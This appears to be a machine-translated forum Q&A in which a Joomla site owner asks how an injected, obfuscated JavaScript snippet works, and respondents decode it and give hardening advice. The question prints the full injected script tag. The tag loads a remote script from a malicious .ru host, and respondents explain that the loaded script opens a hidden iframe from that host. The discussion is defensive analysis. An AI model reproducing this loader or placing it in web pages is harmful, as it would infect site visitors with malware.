这个混乱如何工作?

我的Joomla! 网站已被多次入侵。 有人,不知何故,设法注入下面的垃圾到关键的PHP脚本,但我的意思是不谈论configurationJoomla。 该网站访问量不大(有时我担心我可能是该网站的唯一访问者…),我不关心网站备份和运行。 我会最终处理的。

我的问题是,这个垃圾如何工作? 我看着它,我只是不知道这是如何做到有害的? 它试图下载一个名为ChangeLog.pdf的PDF文件,该文件感染了木马,打开后会冻结Acrobat,并在您的机器上造成严重破坏。 它怎么做,我不知道,我不在乎。 但是下面这段脚本是如何调用下载的?

<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script> <!--6f471c20c9b96fed179c85ffdd3365cf--> 

ESET已将此代码检测为JS / TrojanDownloader.Agent.NRO木马

在大乱码string之后注意replace调用: .replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')

它删除了大部分的特殊字符,把它变成一个普通的URL:

 evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/ 

(我手动改变http:evil:

请注意,正则expression式可能被简化为.replace(/[#$@^&()!]/ig, '')

如果您查看脚本,您会看到这是一个非常简单的脚本,它注入了一个隐藏的IFRAME,其中包含来自同一个域的path/index.php?ys

我在Fiddler那里请求了那个页面,而且没有内容。

这些答案可能会帮助您了解恶意JavaScript代码的性质,但是您应该寻找的方法是closuresJoomla引擎中无法发现的漏洞。 预打包的框架容易出现漏洞,无论是有意的还是无意的,特别是当你考虑到他们是在unix,mac和windows环境下工作的时候。

我的工作要求我为客户和我自己在许多types的服务器和系统上运行许多域,应用程序和框架。 随着时间的推移,越来越多的机器人爬上这些系统,寻找已知的漏洞/入口,通过这些框架创build的后门入口。 当我使用任何types的框架时,我都很less使用这个框架,但如果不是整个文件结构,我一定要重命名,以摆脱那些讨厌的漏洞/后门。 至less你可以重新命名会抛出大多数僵尸程序的目录,但是我的方法是完全消除提供关于框架本质的线索的参考,其中包括重命名整个文件结构而不仅仅是目录。 始终保持与旧命名约定相关的新命名约定的映射,以便使基本框架的插件可以快速添加。 一旦你掌握了这一点,你可以尽可能以编程方式重命名整个框架文件结构以获得更快的结果,这在需要处理需要能够使用插件等更新其框架的客户端时特别有用。

它只是一个正则expression式replace脚本的url给你

注意:不要按照下面的链接(插入**来阻止复制粘贴)

 http**://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/ 

作为src

它使用replace函数来replace使用正则expression式的垃圾字符,没有错的代码:

  ........replace(/#|\$|@|\^|&|\(|\)|\!/ig, '') 

它的加载脚本来自

 h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/ 

并且该脚本从可见性hidden加载iframe

 h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/index.php?ys 

当你读完所有的东西时,你会发现它是一个string,接着是一个replace命令。

我在索引*。*文件的页面上有相同的页眉。 我正在用PHP写我自己的代码。 我的问题不是这个如何工作,但是我问如何知道他们的后门如何保护。 我改变了forms,阅读$ _POST和$ _GETreplace<>和http://等

我的两分钱 你/你可以安装一个Joomla备份工具,如Joomlapack?

我已经把它设置成通过CHRON脚本运行,以防止劫匪抢劫。

你运行的是什么版本的Joomla?

1.0.X版本不再更新,它的年龄真的开始显现。 你欠自己做一个备份,并计划升级到1.5,并预测1.6的奇迹